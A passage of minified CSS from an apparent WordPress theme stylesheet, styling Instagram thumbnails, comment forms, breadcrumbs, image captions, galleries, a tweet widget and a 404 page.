ul.thumbnails li a:after,.jr-insta-thumb ul.thumbnails li a:before{position:absolute;left:10px;right:10px;top:10px;bottom:10px;content:"";opacity:0;-webkit-transition:opacity .35s,-webkit-transform .35s;transition:opacity .35s,transform .35s}.footer-instagram .jr-insta-thumb ul.thumbnails li a:after,.footer-instagram .jr-insta-thumb ul.thumbnails li a:before{top:5px;right:5px;bottom:5px;left:5px}.penci-insta-thumb ul.thumbnails li a{position:relative;display:inline-block;vertical-align:top!important;width:100%}.penci-insta-thumb ul.thumbnails li a:after,.penci-insta-thumb ul.thumbnails li a:before{position:absolute;left:10px;right:10px;top:10px;bottom:10px;content:"";opacity:0;z-index:10;-webkit-transition:opacity .35s,-webkit-transform .35s;transition:opacity .35s,transform .35s}.footer-instagram .penci-insta-thumb ul.thumbnails li a:after,.footer-instagram .penci-insta-thumb ul.thumbnails li a:before{top:5px;right:5px;bottom:5px;left:5px}.penci-insta-thumb ul.thumbnails li a:before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0,1);transform:scale(0,1)}.penci-insta-thumb ul.thumbnails li a:after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1,0);transform:scale(1,0)}.penci-insta-thumb ul.thumbnails li a:hover:after,.penci-insta-thumb ul.thumbnails li a:hover:before{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.jr-insta-thumb ul.thumbnails li a:before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0,1);transform:scale(0,1)}.jr-insta-thumb ul.thumbnails li a:after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1,0);transform:scale(1,0)}.jr-insta-thumb ul.thumbnails li a:hover:after,.jr-insta-thumb ul.thumbnails li a:hover:before{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title{position:absolute;top:50%;margin-top:-25px;padding:0;border:none}.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span{display:inline-block;line-height:50px;padding:0 20px;background:#fff}.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span,.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span>span{font-size:13px}.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span:before{font-size:15px;margin-bottom:0}form#commentform>div.penci-gdpr-message{line-height:1.5;margin:-4px 0 15px;font-size:14px;color:#777}.post-comments .post-title-box{border-top:1px solid #dedede;padding-top:36px}body.single-portfolio .post-comments .post-title-box{border-top:none}h3.comment-reply-title{padding-top:36px!important;border-top:1px solid #dedede}.comments .comment{border-top:1px solid #dedede}.comments .comment>.comment:first-child,.comments>.comment:first-child{border-top:none}.thecomment{padding-top:28px;padding-bottom:21px;display:table;width:100%}.comments>.comment:first-child>.thecomment{padding-top:0}.thecomment .author-img{float:left;margin-right:20px;width:60px}.thecomment .author-img img{margin:0;width:100%}.thecomment .comment-text{margin-left:80px;position:relative}.thecomment .comment-text span.author,.thecomment .comment-text span.author a{display:block;font-size:13px;text-transform:uppercase;color:#313131;margin-bottom:11px;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.thecomment .comment-text span.author a{display:inline-block;margin:0}.thecomment .comment-text span.author a:hover{color:#9e9e9e}.thecomment .comment-text span.date{font-size:12px;color:#888;display:block}.thecomment .comment-text span.date i{margin-right:5px}.thecomment .comment-text>em{font-size:12px;display:block;color:orange;margin:5px 0 0}.thecomment .comment-text>em i{font-size:14px;color:#f3bd00}.thecomment .comment-content{margin-top:15px;margin-bottom:0}.thecomment .comment-text span.reply{position:absolute;top:0;right:0}.post-comments span.reply a{font-size:11px;color:#888;margin-left:18px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);-o-transition:.3s;-moz-transition:.3s;-webkit-transition:.3s;transition:.3s;text-transform:uppercase;line-height:1;display:inline-block;text-align:center}.post-comments span.reply a:hover{color:#313131}.comments .children,.comments>.comment>.comment,.comments>.comment>.comment>.comment,.comments>.comment>.comment>.comment>.comment,.comments>.comment>.comment>.comment>.comment>.comment{margin:0 0 0 60px}@media only screen and (max-width:767px){.comment-respond .comment-reply-title small{display:block;margin-top:15px}}#respond{overflow:hidden;margin-bottom:40px;position:relative}.no-comment-yet #respond{padding-top:0;border-top:0}#respond h3{font-size:14px;color:#939393;font-weight:500;margin-bottom:30px;font-family:var(--pchead-font);text-transform:uppercase}#respond h3 a{color:#000;display:inline-block}#respond h3 small a{text-transform:uppercase;font-size:12px;color:#888;padding:0;margin-left:7px;letter-spacing:0;-o-transition:.3s;-ms-transition:.3s;-moz-transition:.3s;-webkit-transition:.3s;transition:.3s;font-weight:500;position:absolute;right:0}#respond h3 small a:hover{color:#313131}form.wpcf7-form{margin-left:-14px;margin-right:-14px}#respond form#commentform{margin:0}#respond form#commentform>iframe.jetpack_remote_comment{max-width:calc(100% - 1px)}.mc4wp-form label{text-align:left;margin-bottom:10px;display:block}#respond p.comment-form-author,#respond p.comment-form-email,#respond p.comment-form-url,.wpcf7 p.email,.wpcf7 p.name,.wpcf7 p.subject{width:33.333333%;padding:0 14px;float:left;display:inline-block;margin:0}#respond p.comment-form-author,#respond p.comment-form-email,#respond p.comment-form-url{width:32%;margin-left:2%;padding:0}.wpcf7 .ajax-loader{display:none}.wpcf7 form.submitting .ajax-loader{display:inline-block}#respond p.comment-form-author{margin-left:0}#respond #add_comment_rating_wrap,#respond .review-title-form,#respond p.comment-form-comment{clear:both;margin:0}#respond #add_comment_rating_wrap{position:relative;font-size:12px;display:block;margin-bottom:20px}#add_comment_rating_wrap i{color:#ffb900}#add_post_rating{position:absolute;bottom:0;right:0;visibility:hidden}.wpcf7 p.message{clear:both;margin:0 14px}form#commentform>div,form#commentform>input,form#commentform>label,form#commentform>p,form#commentform>span,form#commentform>textarea,form.comment-form>div,form.comment-form>input,form.comment-form>label,form.comment-form>p,form.comment-form>span,form.comment-form>textarea,form.wpcf7-form>div,form.wpcf7-form>input,form.wpcf7-form>label,form.wpcf7-form>p,form.wpcf7-form>span,form.wpcf7-form>textarea{margin:0 14px}form#commentform>input[type=checkbox]{margin-left:14px!important;margin-right:14px!important}form.wpcf7-form>div.wpcf7-response-output{margin-left:14px;margin-right:14px}form#commentform>p.comment-form-mailpoet,form#commentform>p.mc4wp-checkbox{margin-left:0}.captchaSizeDivLarge{clear:both}label#captcha_code_label{display:inline-block}form#commentform>p.comment-subscription-form{margin-top:15px;margin-left:0;line-height:1.3}form#commentform>p.comment-subscription-form:last-child{margin-top:5px}form#commentform>p.comment-subscription-form input[type=checkbox]{margin:0;vertical-align:top}#respond p.comment-subscription-form label{vertical-align:top}form#commentform p.comment-subscription-form label,form#commentform p.mc4wp-checkbox label{font-family:inherit;font-size:inherit;text-transform:inherit;letter-spacing:inherit;font-weight:inherit;color:#777}#respond label,.wpcf7 label{color:#939393;font-size:12px;display:block;font-family:var(--pchead-font);text-transform:none;font-weight:var(--pchead-wei);margin-bottom:8px}#respond .comment-form label{font-family:inherit;font-weight:inherit;font-size:inherit;color:inherit;letter-spacing:0}#respond .comment-form #add_comment_rating_wrap label{font-family:var(--pcbody-font);font-weight:inherit;font-size:inherit;color:var(--pctext-cl);letter-spacing:0;font-size:14px}#respond .comment-form-cookies-consent label{display:inline}#respond p.form-submit,.wpcf7 p.submit{margin:0 14px;text-align:center;clear:both}#respond p.form-submit{margin:0}.pclg-2col:after,.pclg-2col:before,.penci-login-register:after,.penci-login-register:before{content:"";display:table;width:100%}#respond input,.penci-login-register input[type=email],.penci-login-register input[type=number],.penci-login-register input[type=password],.penci-login-register input[type=text],.widget_wysija input,.wpcf7 input{padding:12px 20px;max-width:100%;border:1px solid #dedede;margin-bottom:28px;font-size:14px;width:100%;font-weight:400;font-family:var(--pcbody-font);max-height:50px;background:0 0}#respond input:focus,.penci-login-register input:focus,.wpcf7 input:focus{outline:0}.jetpack_subscription_widget #subscribe-email input{width:100%!important;padding:12px 20px!important;margin-top:10px}#respond textarea,.penci-login-register textarea,.wpcf7 textarea{padding:15px 20px;border:1px solid #dedede;width:100%;height:120px;font-size:14px;color:#313131;margin-bottom:28px;line-height:20px;font-weight:400;outline:0;vertical-align:top;font-family:var(--pcbody-font)}#respond textarea:focus,.penci-login-register textarea:focus,.wpcf7 textarea:focus{outline:0}#respond #submit,.penci-login-register input[type=submit],.widget_wysija input[type=submit],.wpcf7 input[type=submit]{text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);background:#f5f5f5;border-radius:0;font-size:14px;color:#313131;padding:12px 20px;display:inline-block;-o-transition:.3s;-moz-transition:.3s;-webkit-transition:.3s;transition:.3s;cursor:pointer;width:auto;min-width:120px;text-align:center;margin:0;border:none}#respond #submit:hover,.penci-login-register input[type=submit]:hover,.widget_wysija input[type=submit]:hover,.wpcf7 input[type=submit]:hover{color:#fff;background:var(--pcaccent-cl)}.contact-form input[type=email],.contact-form input[type=text]{max-width:300px;width:100%;padding:10px 15px}.contact-form input[type=submit]{text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);background:#f5f5f5;border-radius:0;font-size:14px;color:#313131;padding:16px 20px;display:inline-block;-o-transition:.3s;-moz-transition:.3s;-webkit-transition:.3s;transition:.3s;cursor:pointer;width:auto;min-width:120px;text-align:center;margin:0;border:none}.widget input[type=date],.widget input[type=email],.widget input[type=number],.widget input[type=password],.widget input[type=search],.widget input[type=text]{border:1px solid #dedede;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;outline:0;background:0 0;display:block;font-size:13px;padding:11px 20px;margin-bottom:20px;letter-spacing:0;font-family:var(--pcbody-font);width:100%;max-width:100%;display:block;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;cursor:auto;height:auto;vertical-align:baseline;line-height:normal}.penci-button,.widget button[type=submit],.widget input[type=submit]{display:block;width:100%;font-size:14px;padding:12px 20px;text-transform:uppercase;color:#313131;margin:0;cursor:pointer;border:none;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;background:#f5f5f5;max-width:100%;outline:0}.penci-button,.widget button[type=submit]:hover,.widget input[type=submit]:hover{background:var(--pcaccent-cl);color:#fff}#respond input[type=checkbox],#respond input[type=radio],.widget input[type=checkbox],.widget input[type=radio],.widget_wysija input[type=checkbox],.widget_wysija input[type=radio],.wpcf7 input[type=checkbox],.wpcf7 input[type=radio]{width:auto;margin:0;padding:0}form#commentform>.comment-form-cookies-consent{margin:0 0 15px 0;clear:both;line-height:1.4;color:#777}#respond .comment-form-cookies-consent input[type=checkbox]{margin-right:5px;transform:translateY(2px);-webkit-transform:translateY(2px)}@media only screen and (min-width:768px){.post-comments.penci-comments-hide-1 #respond input,.post-comments.penci-comments-hide-2 #respond input{max-width:100%}.post-comments.penci-comments-hide-1 #respond p.comment-form-author,.post-comments.penci-comments-hide-1 #respond p.comment-form-email,.post-comments.penci-comments-hide-1 #respond p.comment-form-url{width:49%}.post-comments.penci-comments-hide-1 #respond .comment-form>p:nth-child(2){margin-left:0}.post-comments.penci-comments-hide-2 #respond p.comment-form-author,.post-comments.penci-comments-hide-2 #respond p.comment-form-email,.post-comments.penci-comments-hide-2 #respond p.comment-form-url{width:100%;margin-left:0;margin-right:0}}.penci-sidebar-content .wp-block-search{margin-bottom:0}.wp-block-search .wp-block-search__label{display:block}.widget_block.widget_search input[type=search]{margin:0}.widget_block.widget_search button[type=submit]{margin-left:.625em;width:auto;white-space:nowrap}.widget_block.widget_search .wp-block-search__no-button .wp-block-search__inside-wrapper{position:relative}.widget_block.widget_search .wp-block-search__no-button .wp-block-search__inside-wrapper:before{content:"\f108";font-family:penciicon;font-style:normal;font-weight:400;display:inline-block;position:absolute;color:var(--pctext-cl);top:50%;transform:translateY(-50%);-webkit-transform:translateY(-50%);right:20px;z-index:1;font-size:15px;opacity:.9}.widget_block.widget_search .wp-block-search__no-button input[type=search]{padding-right:40px}.widget_block.widget_search .wp-block-search__no-button input[type=search]::-webkit-search-cancel-button{display:none}.widget.widget_block .wp-block-latest-posts{padding:0!important;border:none}.widget .wp-block-group>div>h1{margin-bottom:20px;font-size:24px}.widget .wp-block-group>div>h2{margin-bottom:20px;font-size:20px}.widget .wp-block-group>div>h3:not(.penci-border-arrow){margin-bottom:20px;font-size:18px}.widget .wp-block-group>div>h4{margin-bottom:20px;font-size:17px}.widget .wp-block-group>div>h5{margin-bottom:20px;font-size:16px}.widget .wp-block-group>div>h6{margin-bottom:20px;font-size:14px}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button,.wp-block-search.wp-block-search__button-outside .wp-block-search__inside-wrapper .wp-block-search__button{padding:8px 15px}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{border-color:var(--pcborder-cl)}.penci-sidebar-content .widget.penci_block_heading_widget{margin-bottom:0}.archive-box{background:0 0;margin:0 0 30px 0;position:relative;text-align:center}.archive-box.container{margin-left:auto;margin-right:auto}.archive-box:after,.archive-box:before{content:none}.archive-box:before{width:60px;bottom:-5px;margin-left:-30px}.archive-box .title-bar{position:relative;display:block}.archive-box .title-bar.pcatitle-right{text-align:right}.archive-box .title-bar.pcatitle-left{text-align:left}.archive-box .title-bar.pcatitle-center{text-align:center}.archive-box h1,.archive-box span{color:#313131;font-family:var(--pchead-font);font-weight:var(--pchead-wei);text-transform:uppercase;font-size:24px;line-height:1.2em;position:relative;z-index:10}.archive-box h1{display:inline-block;color:var(--pcaccent-cl)}.archive-box .pccat-count{--size:35px;min-width:var(--size);height:var(--size);display:inline-flex;background:var(--pcheading-cl);line-height:var(--size);margin-left:10px;color:var(--pcbg-cl);padding-left:5px;padding-right:5px;justify-content:center;align-content:center}.pc-title-bar-sorter form{display:flex;column-gap:10px;flex-wrap:wrap;flex-direction:row}.pc-title-bar-sorter form select{flex:1 calc(50% - 10px)}.nothing{margin-bottom:60px;text-align:center}.nothing span{position:relative;z-index:10;color:inherit;font-size:14px}.penci-category-description{margin-bottom:35px;line-height:1.8}.penci-category-description.pcdesc-left{text-align:left}.penci-category-description.pcdesc-center{text-align:center}.penci-category-description.pcdesc-right{text-align:right}.container.penci-breadcrumb,.penci-container-inside.penci-breadcrumb{line-height:1.4;margin-bottom:20px}.container.penci-breadcrumb{margin-top:calc(25px - var(--pchd-mg));clear:both}.container.penci-breadcrumb.penci-crumb-inside{width:100%;margin-top:0}.post-image .container.penci-breadcrumb{width:100%;margin-bottom:20px}.single.penci-body-single-style-5 .container.penci-breadcrumb,.single.penci-body-single-style-6 .container.penci-breadcrumb{margin-bottom:20px}.penci-header-text-white .container.penci-breadcrumb{margin-top:0}.wrapper-boxed.penci-page-hide-header .container.penci-breadcrumb{margin-top:10px}.penci-container-inside.penci-breadcrumb{margin-top:-5px}.wrapper-boxed.penci-page-hide-header .featured-area+.container.penci-breadcrumb{margin-top:calc(25px - var(--pchd-mg))}.page #sidebar-nav+.container.penci-breadcrumb{margin-top:0}.container.penci-breadcrumb a,.container.penci-breadcrumb span,.container.penci-breadcrumb span a,.penci-container-inside.penci-breadcrumb a,.penci-container-inside.penci-breadcrumb span,.penci-container-inside.penci-breadcrumb span a{font-size:13px;color:#888}.container.penci-breadcrumb a:hover,.container.penci-breadcrumb span a:hover,.penci-container-inside.penci-breadcrumb a:hover,.penci-container-inside.penci-breadcrumb span a:hover{color:var(--pcaccent-cl)}.container.penci-breadcrumb i,.container.penci-breadcrumb span.separator,.penci-container-inside.penci-breadcrumb i,.penci-container-inside.penci-breadcrumb span.separator{color:#888;font-size:13px;margin:0 15px 0 19px}.container.penci-breadcrumb span.separator,.penci-container-inside.penci-breadcrumb span.separator{margin:0 15px 0 15px}.container.penci-woo-breadcrumb,.penci-container-inside.penci-woo-breadcrumb{width:100%!important;margin-top:0}.penci-page-header{margin:0 0 30px 0;text-align:center;position:relative}.penci-page-header:after,.penci-page-header:before{content:none}.penci-page-header h1{font-size:24px;color:#313131;text-transform:uppercase}.alignnone{margin:5px 0 20px 0}.post-entry p>.alignnone{margin:5px 0 0 0}.aligncenter,.video-align-center,div.aligncenter{display:block;margin:5px auto 20px auto}.alignright,.video-align-right{float:right;margin:5px 0 20px 20px}.alignleft,.video-align-left{float:left;margin:5px 20px 20px 0}.video-align-left,.video-align-right{display:block;width:100%}.aligncenter{display:block;margin:5px auto 20px auto}a img.alignright{float:right;margin:5px 0 17px 30px}a img.alignnone{margin:5px 20px 20px 0}a img.alignleft{float:left;margin:5px 30px 17px 0}a img.aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{background:0 0;border:none;padding:0;max-width:100%;text-align:center;position:relative;overflow:hidden}.wp-caption.alignnone{margin:5px 0 17px 0}.wp-caption.alignleft{margin:5px 30px 17px 0}.wp-caption.alignright{margin:5px 0 17px 30px}.wp-caption img{border:0 none;height:auto;margin:0;max-width:100%;padding:0;width:100%}.penci-featured-caption,.wp-caption p.wp-caption-text{font-size:14px;line-height:1.4;margin:0;padding:11px 10px;color:#fff;font-style:italic;position:absolute;bottom:0;left:0;width:100%;background:rgba(0,0,0,.5);transition:all .4s;-webkit-transition:all .4s;-moz-transition:all .4s}.wp-caption p.wp-caption-text{text-align:center}.post-image:hover .penci-featured-caption,.wp-caption:hover p.wp-caption-text{transform:translateY(100%);-webkit-transform:translateY(100%);opacity:.7}.penci-single-style-16 .penci-featured-caption,.penci-single-style-16 .post-image .penci-owl-carousel figure p,.penci-single-style-3 .penci-featured-caption,.penci-single-style-3 .post-image .penci-owl-carousel figure p,.penci-single-style-7 .penci-featured-caption,.penci-single-style-7 .post-image .penci-owl-carousel figure p{bottom:40px;text-align:left;display:inline-block;width:auto;transform:none!important;opacity:1!important;padding:10px 20px;left:0;right:auto}.penci-single-style-16 .penci-featured-caption,.penci-single-style-16 .post-image .penci-owl-carousel figure p,.penci-single-style-7 .penci-featured-caption,.penci-single-style-7 .post-image .penci-owl-carousel figure p{width:100%;text-align:center}.penci-featured-caption.penci-fixed-caption{transform:none!important;opacity:1!important;z-index:3}.penci-single-style-14 .penci-featured-caption.penci-fixed-caption{bottom:55px;margin-left:40px}.penci-single-style-16 .penci-featured-caption.penci-fixed-caption,.penci-single-style-22 .penci-featured-caption.penci-fixed-caption{bottom:auto;top:0}.penci-featured-caption.penci-fixed-caption.penci-caption-relative{position:static;background:0 0;padding:0;display:block;margin-top:10px}.penci-featured-caption.penci-fixed-caption.penci-caption-relative:before{content:none;display:none}.penci-featured-caption.penci-fixed-caption.penci-caption-relative a{color:inherit}@media only screen and (min-width:961px){.penci-single-style-13.penci-two-sidebar .penci-single-s13-content,.penci-two-sidebar .penci-single-style-16{--pcctain:var(--pcctain2)}}@media only screen and (max-width:960px){.penci-single-style-16 .penci-featured-caption,.penci-single-style-16 .post-image .penci-owl-carousel figure p,.penci-single-style-3 .penci-featured-caption,.penci-single-style-3 .post-image .penci-owl-carousel figure p,.penci-single-style-7 .penci-featured-caption,.penci-single-style-7 .post-image .penci-owl-carousel figure p{bottom:0;width:100%;text-align:center}.penci-single-style-14 .penci-featured-caption.penci-fixed-caption{bottom:0;margin-left:0}}.penci-body-single-style-12.penci-body-title-bellow .penci-single-style-12{margin-bottom:0}.penci-single-style-12 .post-image{overflow:visible}@media only screen and (min-width:768px){.penci-single-style-12 .post-image .standard-post-special_wrapper,.penci-single-style-12 .post-image .standard-post-special_wrapper.two-sidebar{padding:40px 40px 0;background:var(--pcbg-cl);bottom:-95px;width:calc(var(--pcctain) - 8%)}.penci-single-style-12{margin-bottom:105px}}@media only screen and (min-width:1401px){.penci-single-style-12 .post-image .standard-post-special_wrapper.two-sidebar{max-width:calc(var(--pcctain2) - 8%)}}@media only screen and (min-width:961px) and (max-width:1400px){.penci-single-style-12 .post-image .standard-post-special_wrapper.two-sidebar{max-width:92%}}.penci-single-style-12 .container.penci-breadcrumb{margin-top:0}.post-entry pre{display:block;font-size:14px;word-break:break-all;word-wrap:break-word;white-space:pre-wrap;background-color:#f4f4f4;border:1px solid rgba(0,0,0,.1);margin:0 0 20px;line-height:1.4;padding:15px;letter-spacing:0;color:inherit}.post-entry code{padding:2px;border-radius:2px;color:#23282d;background:#f4f4f4;font-family:Menlo,Consolas,monaco,monospace;font-size:inherit;border:none}.penci-single-block{display:block;clear:both}.penci-ldsingle{display:block;clear:both;text-align:center;width:100%;margin:30px 0}.penci-ldspinner{display:inline-block;vertical-align:top}.penci-ldspinner>div{width:18px;height:18px;margin:0 5px;background-color:var(--pcaccent-cl);border-radius:100%;display:inline-block;-webkit-animation:sk-bouncedelay 1.2s infinite ease-in-out both;animation:sk-bouncedelay 1.2s infinite ease-in-out both}.penci-ldspinner .bounce1{-webkit-animation-delay:-.32s;animation-delay:-.32s}.penci-ldspinner .bounce2{-webkit-animation-delay:-.16s;animation-delay:-.16s}@-webkit-keyframes sk-bouncedelay{0%,100%,80%{-webkit-transform:scale(0)}40%{-webkit-transform:scale(1)}}@keyframes sk-bouncedelay{0%,100%,80%{-webkit-transform:scale(0);transform:scale(0)}40%{-webkit-transform:scale(1);transform:scale(1)}}.penci-single-infiads{margin:10px 0 40px;clear:both;display:block;overflow:hidden;width:100%;text-align:center}.penci-single-infiscroll .penci-single-block:not(:first-child) .container.penci-breadcrumb{margin-top:0}.widget .zframe-flickr-wrap-ltr,.widget ul.instagram-pics{list-style:none;margin:0;padding:0;overflow:hidden;margin-left:-3px;margin-right:-3px}.widget .zframe-flickr-wrap-ltr .flickr_badge_image,.widget ul.instagram-pics li{display:block;float:left;width:33.33%;padding:3px;box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;margin:0!important;border:none!important}.widget .zframe-flickr-wrap-ltr .flickr_badge_image img{margin:0;width:100%;float:none;height:auto}.instag ul.thumbnails>li,.jr-insta-thumb ul>li{width:32%!important}.instag ul li,.jr-insta-thumb ul li{margin:0;padding-bottom:0;border-bottom:none}.pllexislider ul li{margin:0;padding-bottom:0;border-bottom:none}.pllexislider-normal ul li .jr-insta-datacontainer .jr-insta-caption,.pllexislider-normal ul li .jr-insta-datacontainer .jr-insta-time,.pllexislider-normal ul li .jr-insta-datacontainer .jr-insta-username{line-height:1.5}.gallery .gallery-caption{font-size:13px;color:#939393;font-family:var(--pchead-font);font-style:italic}.gallery .gallery-icon img{border-radius:2px;border:1px solid #eee!important;padding:7px}.gallery .gallery-icon img:hover{border:1px solid #ccc!important}.penci-post-gallery-container{margin-bottom:20px}.penci-post-gallery-container a{opacity:0}.penci-post-gallery-container.single-slider a,.penci-post-gallery-container.thumbnail-slider a{opacity:1}.penci-post-gallery-container.single-slider figure,.penci-post-gallery-container.thumbnail-slider figure,.post-image .penci-owl-carousel figure{position:relative}.penci-post-gallery-container.single-slider figure p,.penci-post-gallery-container.thumbnail-slider figure p,.post-image .penci-owl-carousel figure p{margin:0;position:absolute;bottom:0;right:0;display:inline-block;vertical-align:top;background:rgba(0,0,0,.6);color:#fff;padding:7px 15px;font-style:italic;font-size:13px;line-height:1.4;z-index:2}.penci-post-gallery-container.thumbnail-slider figure p{right:15px;max-width:calc(100% - 30px);text-align:right}.justified-gallery>a>.caption,.justified-gallery>div>.caption{font-family:inherit;font-weight:inherit;padding:9px 15px;line-height:1.5;background:rgba(0,0,0,.6);opacity:1}.penci-post-gallery-container.masonry .item-gallery-masonry{width:33.33333%;float:left;margin-bottom:6px;padding:0 3px;box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;display:inline-block;position:relative}.penci-post-gallery-container.masonry.column-2 .item-gallery-masonry{width:50%}.penci-post-gallery-container.masonry.column-4 .item-gallery-masonry{width:25%}.penci-post-gallery-container.masonry .item-gallery-masonry a{position:relative;opacity:0;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.7s;-moz-animation-duration:.7s;-ms-animation-duration:.7s;-o-animation-duration:.7s;animation-duration:.7s;-webkit-animation-delay:.1s;-moz-animation-delay:.1s;-o-animation-delay:.1s;animation-delay:.1s;display:inline-block;width:100%}.penci-post-gallery-container.masonry .item-gallery-masonry a.animated{-webkit-animation-name:pencifadeInUp;-moz-animation-name:pencifadeInUp;-o-animation-name:pencifadeInUp;animation-name:pencifadeInUp;opacity:1}.masonry.column-2 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(2n+2) a,.masonry.column-3 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(3n+2) a,.masonry.column-4 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(4n+2) a{-webkit-animation-delay:.3s;-moz-animation-delay:.3s;-o-animation-delay:.3s;animation-delay:.3s}.masonry.column-3 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(3n+3) a,.masonry.column-4 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(4n+3) a{-webkit-animation-delay:.6s;-moz-animation-delay:.6s;-o-animation-delay:.6s;animation-delay:.6s}.masonry.column-4 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(4n+4) a{-webkit-animation-delay:.9s;-moz-animation-delay:.9s;-o-animation-delay:.9s;animation-delay:.9s}.penci-post-gallery-container.masonry{margin-left:-3px;margin-right:-3px}.penci-post-gallery-container.masonry img{width:100%}.penci-post-gallery-container.masonry .inner-gallery-masonry-container{display:inline-block;width:100%;vertical-align:top}.inner-item-masonry-gallery{position:relative}.penci-post-gallery-container.masonry .item-gallery-masonry .caption{position:absolute;bottom:0;left:0;right:0;margin:0;color:#fff;font-size:13px;font-family:inherit;font-weight:inherit;padding:9px 15px;line-height:1.5;background:rgba(0,0,0,.6);opacity:0;transition:all .3s;-webkit-transition:all .3s;z-index:2}.penci-post-gallery-container.masonry .item-gallery-masonry:hover .caption{opacity:1}.penci-tweets-widget-content ul li{margin:0!important;padding:0!important;border:none!important}.penci-slider.penci-tweets-slider ul.slides li:after,.penci-slider.penci-tweets-slider ul.slides li:before{content:none!important;display:none!important}.penci-tweets-widget-content .icon-tweets{display:block;text-align:center;margin-bottom:12px;font-size:32px;color:var(--pcaccent-cl);margin-top:-10px}.penci-tweets-widget-content .tweet-text{color:#313131;margin-bottom:10px;text-align:center}.penci-tweets-widget-content .tweet-intents{text-align:center;overflow:hidden;line-height:1}.penci-tweets-widget-content .tweet-intents a{color:var(--pcaccent-cl);font-size:13px;font-style:italic}.penci-tweets-widget-content .tweet-intents span:after{content:"/";margin:0 5px;font-size:11px;color:var(--pcaccent-cl);font-family:var(--pcbody-font)}.penci-tweets-widget-content .tweet-intents span:last-child:after{content:none;display:none}.penci-tweets-widget-content .tweet-intents-inner{display:inline-block;vertical-align:top;position:relative}.penci-tweets-widget-content .tweet-intents-inner:after,.penci-tweets-widget-content .tweet-intents-inner:before{content:"";position:absolute;top:50%;width:250px;height:1px;background:var(--pcaccent-cl);right:100%;margin-right:15px;opacity:.5}.penci-tweets-widget-content .tweet-intents-inner:after{right:auto;left:100%;margin-right:0;margin-left:15px}.penci-tweets-widget-content .tweet-date{line-height:1.8;white-space:nowrap;text-align:center;margin-bottom:9px;opacity:.7;font-size:14px}.penci-owl-carousel.penci-tweets-slider .penci-owl-dots{position:static;margin-top:23px!important}.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot{margin:0 4px}.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot span{width:10px;height:10px;box-shadow:none;-webkit-box-shadow:none;border:1px solid #d4d4d4}.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span{border-color:var(--pcaccent-cl);background:var(--pcaccent-cl)}.penci-tweets-widget-content.pc_alignleft .icon-tweets,.penci-tweets-widget-content.pc_alignleft .penci-owl-carousel-slider .penci-owl-dots,.penci-tweets-widget-content.pc_alignleft .tweet-date,.penci-tweets-widget-content.pc_alignleft .tweet-intents,.penci-tweets-widget-content.pc_alignleft .tweet-text{text-align:left}.penci-tweets-widget-content.pc_alignright .icon-tweets,.penci-tweets-widget-content.pc_alignright .penci-owl-carousel-slider .penci-owl-dots,.penci-tweets-widget-content.pc_alignright .tweet-date,.penci-tweets-widget-content.pc_alignright .tweet-intents,.penci-tweets-widget-content.pc_alignright .tweet-text{text-align:right}div.wpcf7{overflow:hidden;margin-top:40px}span.wpcf7-not-valid-tip{margin-top:-15px;margin-bottom:15px}div.wpcf7-response-output{margin:20px 14px 1em;padding:.6em 1em;margin-top:20px!important}.error-404{text-align:center;margin:150px 0 112px}.error-image{position:relative;padding-bottom:41px;margin-bottom:30px}.error-image img{display:block;margin-left:auto;margin-right:auto}.error-image:after{content:"";position:absolute;width:60px;height:1px;background:var(--pcaccent-cl);bottom:0;left:50%;margin-left:-30px}.error-404 .sub-heading-text-404{font-size:16px;font-weight:400;margin:0;color:#313131;text-align:center}.error-404 form.pc-searchform{margin:31px 0 0;padding:0 10px}.error-404 form.pc-searchform .pc-searchform-inner{width:100%;max-width:350px;margin:0 auto;position:relative}.error-404 .go-back-home{margin-top:50px;text-align:center}.error-404 .go-back-home a{font-size:12px;text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);text-decoration:none;line-height:1.5;position:relative;display:inline-block;padding-bottom:1px}.error-404 .go-back-home a:after{position:absolute;width:100%;height:1px;bottom:0;left:0;background:var(--pcaccent-cl);content:""}.penci-mailchimp-block{--pcmc-height:40px;--pcmc-bdw:1px}.penci-mailchimp-block input[type=date],.penci-mailchimp-block input[type=email],.penci-mailchimp-block input[type=number],.penci-mailchimp-block input[type=search],.penci-mailchimp-block input[type=text]{border-width:var(--pcmc-bdw)}.penci-header-signup-form{display:block;padding:20px 0;background:var(--pcaccent-cl);margin:-50px 0 